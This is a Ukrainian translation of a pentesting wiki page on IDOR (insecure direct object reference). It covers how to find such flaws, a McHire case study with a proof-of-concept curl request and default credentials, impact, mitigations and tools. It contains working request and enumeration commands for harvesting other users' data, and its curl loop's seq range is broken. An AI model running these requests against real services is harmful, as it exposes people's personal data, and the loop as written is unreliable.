84 lines
6.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# IDOR (Insecure Direct Object Reference)
{{#include ../banners/hacktricks-training.md}}
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) з'являється, коли веб-або API-інтерфейс розкриває або приймає ідентифікатор, контрольований користувачем, який використовується **безпосередньо** для доступу до внутрішнього об'єкта **без перевірки, що викликач має право** отримати доступ/змінити цей об'єкт. Успішна експлуатація зазвичай дозволяє горизонтальне або вертикальне підвищення привілеїв, наприклад, читання або зміну даних інших користувачів і, в найгіршому випадку, повне захоплення облікового запису або масове витікання даних.
---
## 1. Визначення потенційних IDOR
1. Шукайте **параметри, які посилаються на об'єкт**:
* Шлях: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
* Запит: `?id=42`, `?invoice=2024-00001`
* Тіло / JSON: `{"user_id": 321, "order_id": 987}`
* Заголовки / Куки: `X-Client-ID: 4711`
2. Віддавайте перевагу кінцевим точкам, які **читають або оновлюють** дані (`GET`, `PUT`, `PATCH`, `DELETE`).
3. Зверніть увагу, коли ідентифікатори є **послідовними або передбачуваними** якщо ваш ID `64185742`, то `64185741` ймовірно існує.
4. Досліджуйте приховані або альтернативні потоки (наприклад, *"Члени команди Paradox"* посилання на сторінках входу), які можуть розкрити додаткові API.
5. Використовуйте **автентифіковану сесію з низькими привілеями** і змініть лише ID **зберігаючи той же токен/куку**. Відсутність помилки авторизації зазвичай є ознакою IDOR.
### Швидке ручне втручання (Burp Repeater)
```
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
```
### Автоматизована енумерація (Burp Intruder / цикл curl)
```bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
```
---
## 2. Реальний випадок Платформа чат-бота McHire (2025)
Під час оцінки порталу рекрутингу **McHire**, що працює на базі Paradox.ai, було виявлено наступний IDOR:
* Endpoint: `PUT /api/lead/cem-xhr`
* Authorization: кукі сесії користувача для **будь-якого** тестового облікового запису ресторану
* Body parameter: `{"lead_id": N}` 8-значний, **послідовний** числовий ідентифікатор
Зменшуючи `lead_id`, тестувальник отримав довільні дані про кандидатів **повні PII** (ім'я, електронна пошта, телефон, адреса, переваги зміни) плюс споживчий **JWT**, який дозволяв перехоплення сесії. Перерахунок діапазону `1 64,185,742` виявив приблизно **64 мільйони** записів.
Запит для підтвердження концепції:
```bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
```
Об'єднано з **дефолтними адміністративними обліковими даними** (`123456:123456`), які надали доступ до тестового облікового запису, вразливість призвела до критичного витоку даних на рівні компанії.
---
## 3. Вплив IDOR / BOLA
* Горизонтальна ескалація читання/оновлення/видалення даних **інших користувачів**.
* Вертикальна ескалація користувач з низькими привілеями отримує функціональність, доступну лише адміністраторам.
* Масовий витік даних, якщо ідентифікатори є послідовними (наприклад, ID заявників, рахунки).
* Захоплення облікового запису шляхом викрадення токенів або скидання паролів інших користувачів.
---
## 4. Заходи та найкращі практики
1. **Забезпечити авторизацію на рівні об'єкта** для кожного запиту (`user_id == session.user`).
2. Віддавати перевагу **непрямим, непередбачуваним ідентифікаторам** (UUIDv4, ULID) замість автоінкрементних ID.
3. Виконувати авторизацію **на стороні сервера**, ніколи не покладатися на приховані поля форм або елементи управління UI.
4. Реалізувати перевірки **RBAC / ABAC** в центральному проміжному програмному забезпеченні.
5. Додати **обмеження швидкості та ведення журналів** для виявлення перерахування ID.
6. Тестувати безпеку кожної нової кінцевої точки (модульне, інтеграційне та DAST).
---
## 5. Інструменти
* **Розширення BurpSuite**: Authorize, Auto Repeater, Turbo Intruder.
* **OWASP ZAP**: Auth Matrix, Forced Browse.
* **Проекти на Github**: `bwapp-idor-scanner`, `Blindy` (масове полювання на IDOR).
## Посилання
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants PII](https://ian.sh/mcdonalds)
* [OWASP Top 10 Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
* [How to Find More IDORs Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
{{#include ../banners/hacktricks-training.md}}